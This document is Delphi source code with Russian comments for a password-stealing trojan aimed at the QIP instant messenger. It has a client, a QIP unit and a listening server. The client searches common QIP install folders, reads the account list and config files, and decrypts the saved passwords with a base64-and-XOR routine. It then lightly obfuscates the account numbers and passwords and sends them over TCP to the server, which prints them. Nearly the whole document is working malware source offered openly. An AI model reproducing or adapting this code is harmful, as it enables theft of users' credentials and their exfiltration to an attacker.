program Client;



uses
  sysutils,
  winsock,
  QIP in 'QIP.pas'   //модуль для выдирания паролей из QIP'a
  ;

type
    Tconf = record
    ip: string;
    port: integer;
    end;

var  config : Tconf;
     vwsadata : twsadata;
     vsocket : tsocket;
     vsockaddr : tsockaddr;


function Set_config(const ip:string='127.0.0.1'; port : word=133):boolean; // функуия установки настроек;
begin                // по дефалту работаем на локалхосте с портом 133
     config.ip:=ip;
     config.port:=port;
end;

function CreateSocket():boolean;
begin
     Result:=false;
     if wsastartup($101,vwsadata)<>0 then halt(1); // указывает что мы будем юзать winsock'ы
     vsocket := socket(af_inet,sock_stream,ipproto_ip);  // создаём сокет
     if vsocket = invalid_socket then halt(1);   //проверочка... =)
     fillchar(vsockaddr,sizeof(tsockaddr),0);    //
     vsockaddr.sin_family := af_inet;          //устанавливаем тип  семейства используемой адресации
     vsockaddr.sin_port := htons(config.port); // устанавливаем порт
     vsockaddr.sin_addr.s_addr := inet_addr(Pchar(config.ip)); // устанавливаем ip севака..
     if connect(vsocket,vsockaddr,sizeof(tsockaddr)) = socket_error then halt(1);    //коннектимся к  нашему севваку для передачи данных..
     Result:=true;
end;

function DestroySocket():boolean;   // закрываем сокеты
begin
     Result:=false;
     closesocket(vsocket);
     wsacleanup;
     Result:=true;
end;

function CryptData(str: string):string;  // Для того что бы данные не передавались
                                        // вообще открыто применим простенькое шифрование
var i,n: integer;
    cr_str : string;
begin
      result:='';
      n:=length(str);
      cr_str:='';
      for i:=1 to n do
      begin

            cr_str:=cr_str+Char(Byte(str[i])+12); // криптуем увеличив значение каждого символа на 12
      end;
      result:=cr_str;
end;

function SendData(send_string: string):boolean;   // Посылаем нашему серверу инфу.
var s : string;
begin
      Result:=false;
      s:=CryptData(send_string);  // криптуем
      send(vsocket,s[1],length(s)+1,0);     // отсылаем
      Result:=true;
end;



begin

   Set_config();   //задаём настройки  (используем настройки по дефалту )
   CreateSocket;                  //создаём все сокеты
   SendData(OutString);           // отправляем данные -OutString - это функция из модуля QiP'a
   DestroySocket;                 //убиваем сокеты


end.

unit QIP;

interface

uses  windows,  Classes,SysUtils;

type TPassList=array of TStrings;

const  n_Path =5; 
       path : array [0..n_Path] of string  =('D:\qip\','D:\Program Files\QIP\','C:\Program Files\QIP\','E:\Program Files\QIP\','C:\QIP\', 'E:\QIP\');
		// пути к папке с Qip'ом 
var
    PassList:TPassList;
    buf:array[0..1023]of char;
    QipExePathFromReg:string;

function DecryptQIPPass_New(pass:string):string;

function FromINI(path:string):string;
procedure ExtractPass(QIPPath:string);
procedure AddString(uin,pas:string);
procedure SaveReport(FileName:string);

function OutString():string;

implementation

function InHEX(s:string):string;
var i:integer;
begin result:='';
      for i:=1 to length(s) do
	result:=result+inttohex(ord(s[i]),2)+' '
end;

procedure AddString(uin,pas:string);
  function CheckRepeat:boolean;
  var i:integer;
  begin result:=true;
	for i:=0 to Length(PassList)-1 do
	  if PassList[i].Strings[0]=uin then
	    if PassList[i].Strings[1]=pas then
	      result:=false
  end;
begin if CheckRepeat then begin
	SetLength(PassList,Length(PassList)+1);
	PassList[Length(PassList)-1]:=TStringList.Create;
	PassList[Length(PassList)-1].Add(uin);
	PassList[Length(PassList)-1].Add(pas);
	if (pas<>'Not Saved')and(pas<>'Cannot Decrypt') then
	  PassList[Length(PassList)-1].Add(InHEX(pas))
      end
end;

procedure SaveReport(FileName:string);
var rep:TFileStream;
    s:string;
    i:integer;
begin try
	rep:=TFileStream.Create(FileName,fmCreate);
	for i:=0 to Length(PassList)-1 do begin
	  if PassList[i].Count>0 then begin
	    s:=PassList[i].Strings[0]+#9;
	    if length(s)<9 then s:=s+#9;
	    rep.WriteBuffer(s[1],length(s))
	  end;

	  if PassList[i].Count>1 then begin
	    s:=PassList[i].Strings[1]+#9;
	    if length(s)<9 then s:=s+#9;
	    rep.WriteBuffer(s[1],length(s))
	  end;

	  if PassList[i].Count>2 then begin
	    s:=PassList[i].Strings[2];
	    rep.WriteBuffer(s[1],length(s))
	  end;

	  rep.WriteBuffer(#13#10,2)
	end;
	rep.Free
      except
      end
end;

function DecryptQIPPass_New(pass:string):string;
  function DecodeBase64(value:string):string;
    function DecodeChunk(const chunk:string):string;
    const b64='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
    var
      w:LongWord;
      i:byte;
      c:char;
    begin
      w:=0; Result:='';
      for i:=1 to 4 do
	if pos(Chunk[i],b64)<>0 then
	  w:=w+word((pos(Chunk[i],b64)-1))shl((4-i)*6);
      for i := 1 to 3 do begin
	c:=chr(w shr((3-i)shl 3)and $ff);
	if c<>#0 then Result:=Result+c
      end
    end;
  begin
    Result:='';
    if length(Value)and $03<>0 then exit;
    while length(Value)>0 do begin
      Result:=Result+DecodeChunk(copy(value,0,4));
      delete(value,1,4);
    end
  end;
var t,i,c:integer;
begin i:=length(pass);
      if i=0 then
	result:='NotSaved'
      else
	if i and $03<>0 then
	  result:='CannotDecrypt'
	else begin
	  Result:=DecodeBase64(pass);
	  t:=$1ac3;
	  for i:=1 to length(Result) do begin
	    c:=Ord(Result[i]);
	    Result[i]:=chr(c xor(t shr 8));
	    t:=(t+c)*$38421+$64ceb;
	  end
	end
end;


function FromINI(path:string):string;
begin result:='';
      if FileExists(path) then
      begin
            buf[GetPrivateProfileString('Main','NPass','',buf,32,pchar(path))]:=#0;
            result:=DecryptQIPPass_New(buf);
      end;


end;

procedure ExtractPass(QIPPath:string);
var i:integer;
    acc:TStringList;
begin if DirectoryExists(QIPPath) then
      begin
	        QIPPath:=ExtractFilePath(QIPPath)+'Users\';
          if FileExists(QIPPath+'Accounts.cfg') then
          begin
                acc:=TStringList.Create;
                acc.LoadFromFile(QIPPath+'Accounts.cfg');
                acc.NameValueSeparator:='=';
	              for i:=0 to acc.Count-1 do
                begin
                      acc.Strings[i]:=acc.Strings[i]+'=';
	                     AddString(acc.Names[i], FromINI(QIPPath+acc.Names[i]+'\Config.ini'))
                end;
                acc.Free

          end;
      end;
end;

function OutString():string; // функция выдирания пассов по адресам папкок из массива
var
    i,n: word;
    ss : Tstrings;
begin
      Result:='';
      for i:=0 to n_Path do ExtractPass(path[i]);

      n:=length(PassList);

      for i:=0 to n-1 do
      Begin
            ss:=PassList[i];
           Result:=Result+ss[0]+':'+ss[1]+' ';
      End;
end;


end.

program Server;

{$APPTYPE CONSOLE}

uses
  SysUtils,
  winsock, //библиотка для работы с сокетами
  windows;



const
      port=133; // Порт на котором будет сидеть наш сервак

var
    VWsadata : twsadata ; //потребуется для функции обьявления использования сокетов
    LSocket : tsocket;   //обявляем сокет
    LSockaddr : tsockaddr; //Структура типа TSockAddr для описания прослушивания порта
    ConSocket : tsocket; //сокет который появится при коннекте к серверу
    trid : thandle; //для создания потоков

function CreateSocket(): boolean;
begin
    writeln('Starting...');
      if wsastartup($101,vwsadata)<>0 then halt(1);  //сообщаем что программа будет использовать windows sockets.
    LSocket := socket(af_inet,sock_stream,ipproto_ip);    //Создаем сокет.
    writeln(format('Port [%d]',[port]));               //Выведем порт на котором притаился наш сокет
      if LSocket = invalid_socket then halt(1);      //Проверочка.
    fillchar(LSockaddr,sizeof(tsockaddr),0);             //Определяем размер буфера чтения для сокета
    LSockaddr.sin_family := af_inet;
    LSockaddr.sin_port := htons(port);
    LSockaddr.sin_addr.s_addr := inaddr_any;//указываем вместо ip ету переменную для сервера
      if bind(LSocket,LSockaddr,sizeof(tsockaddr)) <> 0 then halt(1); //Привязываем адрес и порт к сокету
      if listen(LSocket,somaxconn) <> 0 then halt(1);  //Начинаем прослушивать.
    writeln('In progress....');
    
end;



procedure StatThread; //поток  статистики  - в него можно напихать всякого для управления сервером
var
    command : string;
begin
     repeat         //принимаем  команды и осуществляем их ;)
          readln(command);
          if  command='q' then halt(0);// при команде q – осуществляется выход
          
     until false;
end;

function Decrypt(str:string):string; // де криптинг пришедшего с троя
var i,n: integer;
    cr_str : string;
begin
      result:='';
      n:=length(str);
      cr_str:='';
      for i:=1 to n do
      begin
           cr_str:=cr_str+Char(Byte(str[i])-12); // дэкриптуем уменшив значение каждого символа на 12
      end;
      result:=cr_str;
end;

function RecvData(str:string): boolean; //функция для принятия данных от троя  и их обработки
var
    i,n : word;
    s,strn:string;
begin
      writeln;
      writeln('--------PASSES--------');
      result:=false;
      s:=Decrypt(str);                     //дэкриптовка данных
      n:=length(s);
      for i:=1 to n do                     //производится парсинг принятых данных
      begin                                //на пробеллы - если попадется пробелл
           if s[i]<>' '                    //значит новый кусок данных
              then  strn:=strn+s[i]
              else begin WriteLn(strn); strn:=''; end;
      end;
      writeln('----------------------');
      writeln;
      result:=true;
end;

procedure MainThread; //главный поток - создайтся для каждого подключения к серверу
var sockname : tsockaddr;
    abuf : array of char;
    vbuf : string;
    vsize : integer;
    s :tsocket;
    bufsize : integer;

begin

    s := ConSocket;    
    if s = invalid_socket then exit;
    vsize := sizeof(tsockaddr);
    getpeername(s, sockname, vsize); //возвращает информацию о канале, ассоциированном с сокетом

    vsize := sizeof(bufsize);               //Определяем размер буфера чтения для сокета
    getsockopt(s,sol_socket,so_rcvbuf,pchar(@bufsize),vsize);
    setlength(abuf,bufsize);

    repeat
        //Получаем данные. Процедура работает в блокирующем режиме,
        //таким образом следующая строка кода не получит управление,
        //пока не поступят данные от клиента.
        vsize := recv(s,abuf[0],bufsize,0);  //получаем данные от троя
        if vsize<=0 then break;
        setlength(vbuf,vsize);
        lstrcpyn(@vbuf[1],@abuf[0],vsize);
        RecvData(vbuf);     // отправляем принятые данные на обработку
    
    until false;

    setlength(abuf,0);
    closesocket(s);

end;

function DestroySocket():boolean;
begin
      Result:=false;
      closesocket(LSocket); //закрываем осной сокет
      wsacleanup;
      result:=true;
end;


begin
     CreateSocket;

     createthread(nil,0,@StatThread,0,0,trid);    //Поток статистики
     repeat    //Ожидаем подключения
           ConSocket := accept(LSocket,nil,nil);  //еслии  есть  соединение создаём сокет
           createthread(nil,0,@MainThread,0,0,trid); //Трой подключился, запускаем новый поток на соединение.
     until false;

     DestroySocket; 
end.